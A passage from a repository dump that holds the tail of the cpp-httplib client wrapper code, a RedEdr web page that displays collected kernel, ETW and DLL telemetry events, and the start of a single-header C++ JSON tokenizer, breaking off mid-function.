&headers,\n                          ContentReceiver content_receiver) {\n  return cli_->Get(path, headers, std::move(content_receiver));\n}\ninline Result Client::Get(const std::string &path,\n                          ContentReceiver content_receiver, Progress progress) {\n  return cli_->Get(path, std::move(content_receiver), std::move(progress));\n}\ninline Result Client::Get(const std::string &path, const Headers &headers,\n                          ContentReceiver content_receiver, Progress progress) {\n  return cli_->Get(path, headers, std::move(content_receiver),\n                   std::move(progress));\n}\ninline Result Client::Get(const std::string &path,\n                          ResponseHandler response_handler,\n                          ContentReceiver content_receiver) {\n  return cli_->Get(path, std::move(response_handler),\n                   std::move(content_receiver));\n}\ninline Result Client::Get(const std::string &path, const Headers &headers,\n                          ResponseHandler response_handler,\n                          ContentReceiver content_receiver) {\n  return cli_->Get(path, headers, std::move(response_handler),\n                   std::move(content_receiver));\n}\ninline Result Client::Get(const std::string &path,\n                          ResponseHandler response_handler,\n                          ContentReceiver content_receiver, Progress progress) {\n  return cli_->Get(path, std::move(response_handler),\n                   std::move(content_receiver), std::move(progress));\n}\ninline Result Client::Get(const std::string &path, const Headers &headers,\n                          ResponseHandler response_handler,\n                          ContentReceiver content_receiver, Progress progress) {\n  return cli_->Get(path, headers, std::move(response_handler),\n                   std::move(content_receiver), std::move(progress));\n}\ninline Result Client::Get(const std::string &path, const Params &params,\n                          const Headers &headers, Progress progress) {\n  return cli_->Get(path, params, headers, std::move(progress));\n}\ninline Result Client::Get(const std::string &path, const Params &params,\n                          const Headers &headers,\n                          ContentReceiver content_receiver, Progress progress) {\n  return cli_->Get(path, params, headers, std::move(content_receiver),\n                   std::move(progress));\n}\ninline Result Client::Get(const std::string &path, const Params &params,\n                          const Headers &headers,\n                          ResponseHandler response_handler,\n                          ContentReceiver content_receiver, Progress progress) {\n  return cli_->Get(path, params, headers, std::move(response_handler),\n                   std::move(content_receiver), std::move(progress));\n}\n\ninline Result Client::Head(const std::string &path) { return cli_->Head(path); }\ninline Result Client::Head(const std::string &path, const Headers &headers) {\n  return cli_->Head(path, headers);\n}\n\ninline Result Client::Post(const std::string &path) { return cli_->Post(path); }\ninline Result Client::Post(const std::string &path, const Headers &headers) {\n  return cli_->Post(path, headers);\n}\ninline Result Client::Post(const std::string &path, const char *body,\n                           size_t content_length,\n                           const std::string &content_type) {\n  return cli_->Post(path, body, content_length, content_type);\n}\ninline Result Client::Post(const std::string &path, const Headers &headers,\n                           const char *body, size_t content_length,\n                           const std::string &content_type) {\n  return cli_->Post(path, headers, body, content_length, content_type);\n}\ninline Result Client::Post(const std::string &path, const Headers &headers,\n                           const char *body, size_t content_length,\n                           const std::string &content_type, Progress progress) {\n  return cli_->Post(path, headers, body, content_length, content_type,\n                    progress);\n}\ninline Result Client::Post(const std::string &path, const std::string &body,\n                           const std::string &content_type) {\n  return cli_->Post(path, body, content_type);\n}\ninline Result Client::Post(const std::string &path, const std::string &body,\n                           const std::string &content_type, Progress progress) {\n  return cli_->Post(path, body, content_type, progress);\n}\ninline Result Client::Post(const std::string &path, const Headers &headers,\n                           const std::string &body,\n                           const std::string &content_type) {\n  return cli_->Post(path, headers, body, content_type);\n}\ninline Result Client::Post(const std::string &path, const Headers &headers,\n                           const std::string &body,\n                           const std::string &content_type, Progress progress) {\n  return cli_->Post(path, headers, body, content_type, progress);\n}\ninline Result Client::Post(const std::string &path, size_t content_length,\n                           ContentProvider content_provider,\n                           const std::string &content_type) {\n  return cli_->Post(path, content_length, std::move(content_provider),\n                    content_type);\n}\ninline Result Client::Post(const std::string &path,\n                           ContentProviderWithoutLength content_provider,\n                           const std::string &content_type) {\n  return cli_->Post(path, std::move(content_provider), content_type);\n}\ninline Result Client::Post(const std::string &path, const Headers &headers,\n                           size_t content_length,\n                           ContentProvider content_provider,\n                           const std::string &content_type) {\n  return cli_->Post(path, headers, content_length, std::move(content_provider),\n                    content_type);\n}\ninline Result Client::Post(const std::string &path, const Headers &headers,\n                           ContentProviderWithoutLength content_provider,\n                           const std::string &content_type) {\n  return cli_->Post(path, headers, std::move(content_provider), content_type);\n}\ninline Result Client::Post(const std::string &path, const Params &params) {\n  return cli_->Post(path, params);\n}\ninline Result Client::Post(const std::string &path, const Headers &headers,\n                           const Params &params) {\n  return cli_->Post(path, headers, params);\n}\ninline Result Client::Post(const std::string &path, const Headers &headers,\n                           const Params &params, Progress progress) {\n  return cli_->Post(path, headers, params, progress);\n}\ninline Result Client::Post(const std::string &path,\n                           const MultipartFormDataItems &items) {\n  return cli_->Post(path, items);\n}\ninline Result Client::Post(const std::string &path, const Headers &headers,\n                           const MultipartFormDataItems &items) {\n  return cli_->Post(path, headers, items);\n}\ninline Result Client::Post(const std::string &path, const Headers &headers,\n                           const MultipartFormDataItems &items,\n                           const std::string &boundary) {\n  return cli_->Post(path, headers, items, boundary);\n}\ninline Result\nClient::Post(const std::string &path, const Headers &headers,\n             const MultipartFormDataItems &items,\n             const MultipartFormDataProviderItems &provider_items) {\n  return cli_->Post(path, headers, items, provider_items);\n}\ninline Result Client::Put(const std::string &path) { return cli_->Put(path); }\ninline Result Client::Put(const std::string &path, const char *body,\n                          size_t content_length,\n                          const std::string &content_type) {\n  return cli_->Put(path, body, content_length, content_type);\n}\ninline Result Client::Put(const std::string &path, const Headers &headers,\n                          const char *body, size_t content_length,\n                          const std::string &content_type) {\n  return cli_->Put(path, headers, body, content_length, content_type);\n}\ninline Result Client::Put(const std::string &path, const Headers &headers,\n                          const char *body, size_t content_length,\n                          const std::string &content_type, Progress progress) {\n  return cli_->Put(path, headers, body, content_length, content_type, progress);\n}\ninline Result Client::Put(const std::string &path, const std::string &body,\n                          const std::string &content_type) {\n  return cli_->Put(path, body, content_type);\n}\ninline Result Client::Put(const std::string &path, const std::string &body,\n                          const std::string &content_type, Progress progress) {\n  return cli_->Put(path, body, content_type, progress);\n}\ninline Result Client::Put(const std::string &path, const Headers &headers,\n                          const std::string &body,\n                          const std::string &content_type) {\n  return cli_->Put(path, headers, body, content_type);\n}\ninline Result Client::Put(const std::string &path, const Headers &headers,\n                          const std::string &body,\n                          const std::string &content_type, Progress progress) {\n  return cli_->Put(path, headers, body, content_type, progress);\n}\ninline Result Client::Put(const std::string &path, size_t content_length,\n                          ContentProvider content_provider,\n                          const std::string &content_type) {\n  return cli_->Put(path, content_length, std::move(content_provider),\n                   content_type);\n}\ninline Result Client::Put(const std::string &path,\n                          ContentProviderWithoutLength content_provider,\n                          const std::string &content_type) {\n  return cli_->Put(path, std::move(content_provider), content_type);\n}\ninline Result Client::Put(const std::string &path, const Headers &headers,\n                          size_t content_length,\n                          ContentProvider content_provider,\n                          const std::string &content_type) {\n  return cli_->Put(path, headers, content_length, std::move(content_provider),\n                   content_type);\n}\ninline Result Client::Put(const std::string &path, const Headers &headers,\n                          ContentProviderWithoutLength content_provider,\n                          const std::string &content_type) {\n  return cli_->Put(path, headers, std::move(content_provider), content_type);\n}\ninline Result Client::Put(const std::string &path, const Params &params) {\n  return cli_->Put(path, params);\n}\ninline Result Client::Put(const std::string &path, const Headers &headers,\n                          const Params &params) {\n  return cli_->Put(path, headers, params);\n}\ninline Result Client::Put(const std::string &path, const Headers &headers,\n                          const Params &params, Progress progress) {\n  return cli_->Put(path, headers, params, progress);\n}\ninline Result Client::Put(const std::string &path,\n                          const MultipartFormDataItems &items) {\n  return cli_->Put(path, items);\n}\ninline Result Client::Put(const std::string &path, const Headers &headers,\n                          const MultipartFormDataItems &items) {\n  return cli_->Put(path, headers, items);\n}\ninline Result Client::Put(const std::string &path, const Headers &headers,\n                          const MultipartFormDataItems &items,\n                          const std::string &boundary) {\n  return cli_->Put(path, headers, items, boundary);\n}\ninline Result\nClient::Put(const std::string &path, const Headers &headers,\n            const MultipartFormDataItems &items,\n            const MultipartFormDataProviderItems &provider_items) {\n  return cli_->Put(path, headers, items, provider_items);\n}\ninline Result Client::Patch(const std::string &path) {\n  return cli_->Patch(path);\n}\ninline Result Client::Patch(const std::string &path, const char *body,\n                            size_t content_length,\n                            const std::string &content_type) {\n  return cli_->Patch(path, body, content_length, content_type);\n}\ninline Result Client::Patch(const std::string &path, const char *body,\n                            size_t content_length,\n                            const std::string &content_type,\n                            Progress progress) {\n  return cli_->Patch(path, body, content_length, content_type, progress);\n}\ninline Result Client::Patch(const std::string &path, const Headers &headers,\n                            const char *body, size_t content_length,\n                            const std::string &content_type) {\n  return cli_->Patch(path, headers, body, content_length, content_type);\n}\ninline Result Client::Patch(const std::string &path, const Headers &headers,\n                            const char *body, size_t content_length,\n                            const std::string &content_type,\n                            Progress progress) {\n  return cli_->Patch(path, headers, body, content_length, content_type,\n                     progress);\n}\ninline Result Client::Patch(const std::string &path, const std::string &body,\n                            const std::string &content_type) {\n  return cli_->Patch(path, body, content_type);\n}\ninline Result Client::Patch(const std::string &path, const std::string &body,\n                            const std::string &content_type,\n                            Progress progress) {\n  return cli_->Patch(path, body, content_type, progress);\n}\ninline Result Client::Patch(const std::string &path, const Headers &headers,\n                            const std::string &body,\n                            const std::string &content_type) {\n  return cli_->Patch(path, headers, body, content_type);\n}\ninline Result Client::Patch(const std::string &path, const Headers &headers,\n                            const std::string &body,\n                            const std::string &content_type,\n                            Progress progress) {\n  return cli_->Patch(path, headers, body, content_type, progress);\n}\ninline Result Client::Patch(const std::string &path, size_t content_length,\n                            ContentProvider content_provider,\n                            const std::string &content_type) {\n  return cli_->Patch(path, content_length, std::move(content_provider),\n                     content_type);\n}\ninline Result Client::Patch(const std::string &path,\n                            ContentProviderWithoutLength content_provider,\n                            const std::string &content_type) {\n  return cli_->Patch(path, std::move(content_provider), content_type);\n}\ninline Result Client::Patch(const std::string &path, const Headers &headers,\n                            size_t content_length,\n                            ContentProvider content_provider,\n                            const std::string &content_type) {\n  return cli_->Patch(path, headers, content_length, std::move(content_provider),\n                     content_type);\n}\ninline Result Client::Patch(const std::string &path, const Headers &headers,\n                            ContentProviderWithoutLength content_provider,\n                            const std::string &content_type) {\n  return cli_->Patch(path, headers, std::move(content_provider), content_type);\n}\ninline Result Client::Delete(const std::string &path) {\n  return cli_->Delete(path);\n}\ninline Result Client::Delete(const std::string &path, const Headers &headers) {\n  return cli_->Delete(path, headers);\n}\ninline Result Client::Delete(const std::string &path, const char *body,\n                             size_t content_length,\n                             const std::string &content_type) {\n  return cli_->Delete(path, body, content_length, content_type);\n}\ninline Result Client::Delete(const std::string &path, const char *body,\n                             size_t content_length,\n                             const std::string &content_type,\n                             Progress progress) {\n  return cli_->Delete(path, body, content_length, content_type, progress);\n}\ninline Result Client::Delete(const std::string &path, const Headers &headers,\n                             const char *body, size_t content_length,\n                             const std::string &content_type) {\n  return cli_->Delete(path, headers, body, content_length, content_type);\n}\ninline Result Client::Delete(const std::string &path, const Headers &headers,\n                             const char *body, size_t content_length,\n                             const std::string &content_type,\n                             Progress progress) {\n  return cli_->Delete(path, headers, body, content_length, content_type,\n                      progress);\n}\ninline Result Client::Delete(const std::string &path, const std::string &body,\n                             const std::string &content_type) {\n  return cli_->Delete(path, body, content_type);\n}\ninline Result Client::Delete(const std::string &path, const std::string &body,\n                             const std::string &content_type,\n                             Progress progress) {\n  return cli_->Delete(path, body, content_type, progress);\n}\ninline Result Client::Delete(const std::string &path, const Headers &headers,\n                             const std::string &body,\n                             const std::string &content_type) {\n  return cli_->Delete(path, headers, body, content_type);\n}\ninline Result Client::Delete(const std::string &path, const Headers &headers,\n                             const std::string &body,\n                             const std::string &content_type,\n                             Progress progress) {\n  return cli_->Delete(path, headers, body, content_type, progress);\n}\ninline Result Client::Options(const std::string &path) {\n  return cli_->Options(path);\n}\ninline Result Client::Options(const std::string &path, const Headers &headers) {\n  return cli_->Options(path, headers);\n}\n\ninline bool Client::send(Request &req, Response &res, Error &error) {\n  return cli_->send(req, res, error);\n}\n\ninline Result Client::send(const Request &req) { return cli_->send(req); }\n\ninline void Client::stop() { cli_->stop(); }\n\ninline std::string Client::host() const { return cli_->host(); }\n\ninline int Client::port() const { return cli_->port(); }\n\ninline size_t Client::is_socket_open() const { return cli_->is_socket_open(); }\n\ninline socket_t Client::socket() const { return cli_->socket(); }\n\ninline void\nClient::set_hostname_addr_map(std::map<std::string, std::string> addr_map) {\n  cli_->set_hostname_addr_map(std::move(addr_map));\n}\n\ninline void Client::set_default_headers(Headers headers) {\n  cli_->set_default_headers(std::move(headers));\n}\n\ninline void Client::set_header_writer(\n    std::function<ssize_t(Stream &, Headers &)> const &writer) {\n  cli_->set_header_writer(writer);\n}\n\ninline void Client::set_address_family(int family) {\n  cli_->set_address_family(family);\n}\n\ninline void Client::set_tcp_nodelay(bool on) { cli_->set_tcp_nodelay(on); }\n\ninline void Client::set_socket_options(SocketOptions socket_options) {\n  cli_->set_socket_options(std::move(socket_options));\n}\n\ninline void Client::set_connection_timeout(time_t sec, time_t usec) {\n  cli_->set_connection_timeout(sec, usec);\n}\n\ninline void Client::set_read_timeout(time_t sec, time_t usec) {\n  cli_->set_read_timeout(sec, usec);\n}\n\ninline void Client::set_write_timeout(time_t sec, time_t usec) {\n  cli_->set_write_timeout(sec, usec);\n}\n\ninline void Client::set_basic_auth(const std::string &username,\n                                   const std::string &password) {\n  cli_->set_basic_auth(username, password);\n}\ninline void Client::set_bearer_token_auth(const std::string &token) {\n  cli_->set_bearer_token_auth(token);\n}\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\ninline void Client::set_digest_auth(const std::string &username,\n                                    const std::string &password) {\n  cli_->set_digest_auth(username, password);\n}\n#endif\n\ninline void Client::set_keep_alive(bool on) { cli_->set_keep_alive(on); }\ninline void Client::set_follow_location(bool on) {\n  cli_->set_follow_location(on);\n}\n\ninline void Client::set_url_encode(bool on) { cli_->set_url_encode(on); }\n\ninline void Client::set_compress(bool on) { cli_->set_compress(on); }\n\ninline void Client::set_decompress(bool on) { cli_->set_decompress(on); }\n\ninline void Client::set_interface(const std::string &intf) {\n  cli_->set_interface(intf);\n}\n\ninline void Client::set_proxy(const std::string &host, int port) {\n  cli_->set_proxy(host, port);\n}\ninline void Client::set_proxy_basic_auth(const std::string &username,\n                                         const std::string &password) {\n  cli_->set_proxy_basic_auth(username, password);\n}\ninline void Client::set_proxy_bearer_token_auth(const std::string &token) {\n  cli_->set_proxy_bearer_token_auth(token);\n}\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\ninline void Client::set_proxy_digest_auth(const std::string &username,\n                                          const std::string &password) {\n  cli_->set_proxy_digest_auth(username, password);\n}\n#endif\n\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\ninline void Client::enable_server_certificate_verification(bool enabled) {\n  cli_->enable_server_certificate_verification(enabled);\n}\n#endif\n\ninline void Client::set_logger(Logger logger) {\n  cli_->set_logger(std::move(logger));\n}\n\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\ninline void Client::set_ca_cert_path(const std::string &ca_cert_file_path,\n                                     const std::string &ca_cert_dir_path) {\n  cli_->set_ca_cert_path(ca_cert_file_path, ca_cert_dir_path);\n}\n\ninline void Client::set_ca_cert_store(X509_STORE *ca_cert_store) {\n  if (is_ssl_) {\n    static_cast<SSLClient &>(*cli_).set_ca_cert_store(ca_cert_store);\n  } else {\n    cli_->set_ca_cert_store(ca_cert_store);\n  }\n}\n\ninline void Client::load_ca_cert_store(const char *ca_cert, std::size_t size) {\n  set_ca_cert_store(cli_->create_ca_cert_store(ca_cert, size));\n}\n\ninline long Client::get_openssl_verify_result() const {\n  if (is_ssl_) {\n    return static_cast<SSLClient &>(*cli_).get_openssl_verify_result();\n  }\n  return -1; // NOTE: -1 doesn't match any of X509_V_ERR_???\n}\n\ninline SSL_CTX *Client::ssl_context() const {\n  if (is_ssl_) { return static_cast<SSLClient &>(*cli_).ssl_context(); }\n  return nullptr;\n}\n#endif\n\n// ----------------------------------------------------------------------------\n\n} // namespace httplib\n\n#if defined(_WIN32) && defined(CPPHTTPLIB_USE_POLL)\n#undef poll\n#endif\n\n#endif // CPPHTTPLIB_HTTPLIB_H\n"
  },
  {
    "path": "RedEdr/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>RedEdr</title>\n    <script src=\"/static/shared.js\"></script>\n    <link rel=\"stylesheet\" href=\"/static/design.css\">\n</head>\n<body>\n\n    <header>\n        <div class=\"container\">\n            <div class=\"item\">\n                <div id=\"stats-counter\"></div>\n            </div>\n\n            <div class=\"item\">\n                <div>Events</div>\n                <div><button onclick=\"BtnOpenEvents()\">Open Events</button></div>\n                <div><button onclick=\"BtnSave()\">Save Events</button></div>\n                <div><button onclick=\"BtnReset()\">Clear Events</button></div>\n            </div>\n            <div class=\"item\">\n                <div>Process</div>\n                <div><input type=\"text\" id=\"trace\" placeholder=\"otepad\" oninput=\"setNewTrace(this.value)\"></div>\n            </div>\n            <div class=\"item\">\n                <div>Collection</div>\n                <div><button onclick=\"BtnStart()\">Start</button></div>\n                <div><button onclick=\"BtnStop()\">Stop</button></div>\n                <div><button onclick=\"BtnRefresh()\">Refresh</button></div>\n            </div>\n            <div class=\"item\" id=\"response\">\n                <div>Kernel: <span id=\"num_kernel\">0</span></div>\n                <div>ETW: <span id=\"num_etw\">0</span></div>\n                <div>ETWTI: <span id=\"num_etwti\">0</span></div>\n                <div>DLL: <span id=\"num_dll\">0</span></div>\n                <div>Process Cache: <span id=\"num_process_cache\">0</span></div>\n            </div>\n        </div>\n    </header>\n\n    <div class=\"tabs\">\n        <div class=\"tab active\" onclick=\"showContent('tab1', this)\">Events</div>\n        <div class=\"tab\" onclick=\"showContent('tab2', this)\">Analyzer</div>\n        <div class=\"tab\" onclick=\"showContent('tab3', this)\">Recordings</div>\n    </div>\n\n    <div class=\"content\" id=\"content\">\n        <div id=\"tab1\" class=\"tab-content\">\n            <div id=\"eventContainer\"></div>\n        </div>\n        <div id=\"tab3\" class=\"tab-content\" style=\"display: none;\">\n            <div id=\"recordingsContainer\"></div>\n        </div>\n    </div>\n\n    <script>\n        MyData = {\n            \"stats\": {\n                \"events_count\": 0,\n            },\n            \"events\": [],\n        }\n\n        function showContent(tabId, tabElement) {\n            // Hide all tab contents\n            const contents = document.querySelectorAll('.tab-content');\n            contents.forEach(content => content.style.display = 'none');\n\n            // Remove active class from all tabs\n            const tabs = document.querySelectorAll('.tab');\n            tabs.forEach(tab => tab.classList.remove('active'));\n\n            // Show the selected tab content\n            document.getElementById(tabId).style.display = 'block';\n\n            // Add active class to the clicked tab if tabElement is provided\n            if (tabElement) {\n                tabElement.classList.add('active');\n            }\n        }\n\n        function showRecordings(data) {\n            const container = document.getElementById('recordingsContainer');\n            container.innerHTML = '';\n\n            data.forEach(recording => {\n                const div = document.createElement('div');\n                div.innerHTML = `\n                    <div class=\"recording\">\n                        <a href=\"/recordings?name=${recording}\" target=\"_blank\">${recording}</a> <br>\n                    </div>\n                `;\n                container.appendChild(div);\n            });\n        }\n\n        async function fetchEvents() {\n            const response = await fetch('/api/logs/rededr');\n            if (!response.ok) {\n                throw new Error(`HTTP error! Status: ${response.status}`);\n            }\n            const data = await response.json();\n            displayEvents(data);\n        }\n\n        async function fetchStats() {\n            const response = await fetch('/api/stats');\n            if (!response.ok) {\n                throw new Error(`HTTP error! Status: ${response.status}`);\n            }\n            const data = await response.json();\n\n            // Check if we need to update something\n            if (data.events_count > MyData.stats.events_count) {\n                fetchEvents();\n\n                // Store new stats\n                MyData.stats = data;\n\n                // Update UI\n                document.getElementById('stats-counter').textContent = `Events: ${data.events_count}`;\n\n                document.getElementById('num_kernel').textContent = `${data.num_kernel}`;\n                document.getElementById('num_etw').textContent = `${data.num_etw}`;\n                document.getElementById('num_etwti').textContent = `${data.num_etwti}`;\n                document.getElementById('num_dll').textContent = `${data.num_dll}`;\n                document.getElementById('num_process_cache').textContent = `${data.num_process_cache}`;\n            }\n        }\n\n        async function fetchRecordings() {\n            const response = await fetch('/api/recordings');\n            if (!response.ok) {\n                throw new Error(`HTTP error! Status: ${response.status}`);\n            }\n            const data = await response.json();\n            showRecordings(data);\n        }\n\n        async function sendSave() {\n            const response = await fetch('/api/save');\n            if (!response.ok) {\n                throw new Error(`HTTP error! Status: ${response.status}`);\n            }\n            const data = await response.json();\n        }\n\n        async function sendReset() {\n            const response = await fetch('/api/trace/reset', {\n                method: 'POST'\n            });\n            if (!response.ok) {\n                throw new Error(`HTTP error! Status: ${response.status}`);\n            }\n            const data = await response.json();\n        }\n\n        async function sendTrace(name) {\n            const response = await fetch('/api/trace/start', {\n                method: 'POST',\n                headers: {\n                    'Content-Type': 'application/json',\n                },\n                body: JSON.stringify({ \"trace\": name }),\n            });\n            if (!response.ok) {\n                throw new Error(`HTTP error! Status: ${response.status}`);\n            }\n        }\n\n        function BtnRefresh() {\n            fetchEvents();\n        }\n        function BtnSave() {\n            sendSave();\n        }\n        function BtnReset() {\n            sendReset();\n        }\n        function BtnOpenEvents() {\n            window.open('/api/logs/rededr', '_blank');\n        }\n        function BtnStart() {\n            fetch('/api/start');\n        }\n        function BtnStop() {\n            fetch('/api/stop');\n        }\n\n        function setNewTrace(value) {\n            sendTrace(value);\n        }\n        function getTraceTarget() {\n            fetch('/api/trace/info')\n                .then(response => response.json())\n                .then(data => {\n                    document.getElementById('trace').value = data.trace;\n                });\n        }\n\n        showContent('tab1', null);  // show first tab\n        fetchStats(); // initial fetch\n        setInterval(fetchStats, 1 * 1000); // periodic check\n\n        fetchRecordings();\n        getTraceTarget();\n    </script>\n\n</body>\n</html>"
  },
  {
    "path": "RedEdr/jsonw.hpp",
    "content": "//\n// jsonw.hpp - single header c++ json library\n// See README.md for detail\n//\n#ifndef OCTILLION_JSONW_HEADER\n#define OCTILLION_JSONW_HEADER\n\n#include <iostream> \n#include <fstream>   // read json from file \n#include <sstream>   // string buffer\n#include <cmath>     // pow\n#include <queue>     // token container\n#include <string>    // string and wstring\n#include <map>       // json object container\n#include <vector>    // array container\n#include <locale>    // ucs utf8 convertor\n#include <codecvt>   // ucs utf8 convertor\n#include <memory>    // smart pointer\n\n// JsonTokenW presents a token in json data. It has a static member function \n// 'parse()' that can parse the json from text to token. However, JsonW caller \n// does not need to access this class at all. See README.md for detail.\nclass JsonTokenW\n{\npublic:\n    enum class Type\n    {\n        NumberInteger,\n        NumberFloat,\n        String,\n        LeftCurlyBracket,\n        RightCurlyBracket,\n        LeftSquareBracket,\n        RightSquareBracket,\n        Colon,\n        Comma,\n        Boolean,\n        Null,\n        Bad\n    };\n\npublic:\n    // parse json text from wistream instead of istream\n    JsonTokenW(std::wistream& ins)\n    {\n        type_ = Type::Bad;\n        wchar_t character;\n\n        if (!ins.good())\n        {\n            return;\n        }\n\n        character = ins.peek();\n\n        // return false if no more data to read\n        if (character == std::char_traits<wchar_t>::eof())\n        {\n            return;\n        }\n\n        // handle single character token\n        switch (character)\n        {\n        case L'{': type_ = Type::LeftCurlyBracket;  ins.get(); return;\n        case L'}': type_ = Type::RightCurlyBracket; ins.get(); return;\n        case L'[': type_ = Type::LeftSquareBracket;   ins.get(); return;\n        case L']': type_ = Type::RightSquareBracket;  ins.get(); return;\n        case L':': type_ = Type::Colon;              ins.get(); return;\n        case L',': type_ = Type::Comma;              ins.get(); return;\n        }\n\n        // handle number\n        if (iswdigit(character) || character == L'-')\n        {\n            std::wstring numberstr;\n            std::wstring expstr;\n            bool containdot = false;\n            bool containexp = false;\n            bool negativeexp = false;\n            int exponent = 0;\n\n            // negative value\n            if (character == L'-')\n            {\n                numberstr.push_back(character);\n                ins.get();\n                character = ins.peek();\n            }\n\n            // if start with 0, it must followed by . or standalone zero\n            if (character == L'0')\n            {\n                numberstr.push_back(character);\n                ins.get();\n                character = ins.peek();\n\n                if (character != L'.')\n                {\n                    type_ = Type::NumberInteger;\n                    integer_ = 0;\n                    return;\n                }\n\n                containdot = true;\n                numberstr.push_back(character);\n                ins.get();\n                character = ins.peek();\n            }\n\n            while (iswdigit(character) || character == L'.' || character == L'e')\n            {\n                // handle .\n                if (character == L'.')\n                {\n                    if (containdot || numberstr.length() == 0)\n                    {\n                        return;\n                    }\n                    else if (numberstr.length() == 1 && !iswdigit(numberstr.at(0)))\n                    {\n                        return;\n                    }\n                    else\n                    {\n                        containdot = true;\n                    }\n                }\n\n                if (character == L'e' || character == L'E')\n                {\n                    containexp = true;\n                    break;\n                }\n\n                numberstr.push_back(character);\n                ins.get();\n                character = ins.peek();\n            }\n\n            // last character in numberstr has to be a digit\n            if (numberstr.length() == 0 || !iswdigit(numberstr.back()))\n            {\n                return;\n            }\n\n            // first digit cannot be zero except frac or zero\n            if (!containdot && numberstr.at(0) == L'0' && numberstr.length() > 1)\n            {\n                return;\n            }\n\n            // handle exponent notation\n            if (character == L'e' || character == L'E')\n            {\n                ins.get();\n                character = ins.peek();\n                if (character == L'-')\n                {\n                    negativeexp = true;\n                    ins.get();\n                    character = ins.peek();\n                }\n\n                if (character == L'+')\n                {\n                    ins.get();\n                    character = ins.peek();\n                }\n\n                while (iswdigit(character))\n                {\n                    expstr.push_back(character);\n                    ins.get();\n                    character = ins.peek();\n                }\n\n                if (expstr.length() == 0)\n                {\n                    return;\n                }\n\n                try\n                {\n                    exponent = std::stoi(expstr);\n                }\n                catch (const std::out_of_range& oor)\n                {\n                    std::cerr << \"Out of Range error: \" << oor.what() << '\\n';\n                    type_ = Type::Bad;\n                    return;\n                }\n            }\n\n            if (containdot)\n            {\n                try\n                {\n                    frac_ = std::stold(numberstr);\n                }\n                catch (const std::out_of_range&)\n                {\n                    type_ = Type::Bad;\n                    return;\n                }\n\n                type_ = Type::NumberFloat;\n            }\n            else\n            {\n                try\n                {\n                    integer_ = std::stoll(numberstr);\n                }\n                catch (const std::out_of_range&)\n                {\n                    type_ = Type::Bad;\n                    return;\n                }\n\n                type_ = Type::NumberInteger;\n            }\n\n            if (containexp)\n            {\n                double multiplier;\n                if (negativeexp)\n                {\n                    multiplier = std::pow(10, -1 * exponent);\n                }\n                else\n                {\n                    multiplier = std::pow(10, exponent);\n                }\n\n                if (multiplier == HUGE_VAL || multiplier == -HUGE_VAL)\n                {\n                    std::cerr << \"Out of Range error\" << std::endl;\n                    type_ = Type::Bad;\n                    return;\n                }\n\n                if (type_ == Type::NumberInteger)\n                {\n                    frac_ = 1.0 * integer_;\n                    type_ = Type::NumberFloat;\n                }\n\n                frac_ = frac_ * multiplier;\n            }\n\n            return;\n        }\n\n        // handle 'true'\n        if (character == L't')\n        {\n            ins.get();\n            character = ins.peek();\n            if (character == std::char_traits<wchar_t>::eof() || character != L'r')\n            {\n                return;\n            }\n\n            ins.get();\n            character = ins.peek();\n            if (character == std::char_traits<wchar_t>::eof() || character != L'u')\n            {\n                return;\n            }\n\n            ins.get();\n            character = ins.peek();\n            if (character == std::char_traits<wchar_t>::eof() || character != L'e')\n            {\n                return;\n            }\n\n            ins.get();\n            type_ = Type::Boolean;\n            boolean_ = true;\n            return;\n        }\n\n        // handle 'false'\n        if (character == L'f')\n        {\n            ins.get();\n            character = ins.peek();\n            if (character == std::char_traits<wchar_t>::eof() || character != L'a')\n            {\n                return;\n            }\n\n            ins.get();\n            character = ins.peek();\n            if (character == std::char_traits<wchar_t>::eof() || character != L'l')\n            {\n                return;\n            }\n\n            ins.get();\n            character = ins.peek();\n            if (character == std::char_traits<wchar_t>::eof() || character != L's')\n            {\n                return;\n            }\n\n            ins.get();\n            character = ins.peek();\n            if (character == std::char_traits<wchar_t>::eof() || character != L'e')\n            {\n                return;\n            }\n\n            ins.get();\n            type_ = Type::Boolean;\n            boolean_ = false;\n            return;\n        }\n\n        // handle 'null'\n        if (character == L'n')\n        {\n            ins.get();\n            character = ins.peek();\n            if (character == std::char_traits<wchar_t>::eof() || character != L'u')\n            {\n                return;\n            }\n\n            ins.get();\n            character = ins.peek();\n            if (character == std::char_traits<wchar_t>::eof() || character != L'l')\n            {\n                return;\n            }\n\n            ins.get();\n            character = ins.peek();\n            if (character == std::char_traits<wchar_t>::eof() || character != L'l')\n            {\n                return;\n            }\n\n            ins.get();\n            type_ = Type::Null;\n            return;\n        }\n\n        // the only remaining possible token is string, must start with \\\"\n        if (character != L'\\\"')\n        {\n            return;\n        }\n\n        // consume \\\"\n        ins.get();\n        character = ins.peek();\n\n        // handle string\n        bool backslash = false;\n        std::wstring strbuf;\n\n        while (character != std::char_traits<wchar_t>::eof())\n        {\n            if (backslash)\n            {\n                // previous character is backslash\n                if (character == L'u')\n                {\n                    // special case for \\u\n                    std::wstring hexbuf(L\"0x\");\n                    ins.get();\n                    hexbuf.push_back(ins.get());\n                    hexbuf.push_back(ins.get());\n                    hexbuf.push_back(ins.get());\n                    hexbuf.push_back(ins.get());\n\n                    if (hexbuf.at(2) == std::char_traits<wchar_t>::eof() ||\n                        hexbuf.at(3) == std::char_traits<wchar_t>::eof() ||\n                        hexbuf.at(4) == std::char_traits<wchar_t>::eof() ||\n                        hexbuf.at(5) == std::char_traits<wchar_t>::eof())\n                    {\n                        return;\n                    }\n\n                    try\n                    {\n                        unsigned int charvalue = std::stoul(hexbuf, NULL, 16);\n                        strbuf.push_back((wchar_t)charvalue);\n                        character = ins.peek();\n                        backslash = false;\n                        continue;\n                    }\n                    catch (const std::invalid_argument&)\n                    {\n                        return;\n                    }\n                    catch (const std::out_of_range&)\n                    {\n                        return;\n                    }\n                }\n\n                // other single character cases\n                switch (character)\n                {\n                case L'\\\"': strbuf.push_back(L'\\\"'); break;\n                case L'\\\\': strbuf.push_back(L'\\\\'); break;\n                case L'/': strbuf.push_back(L'/'); break;\n                case L'b':  strbuf.push_back((wchar_t)0x08); break;\n                case L'f':  strbuf.push_back((wchar_t)0x0c); break;\n                case L'n':  strbuf.push_back(L'\\n'); break;\n                case L'r':  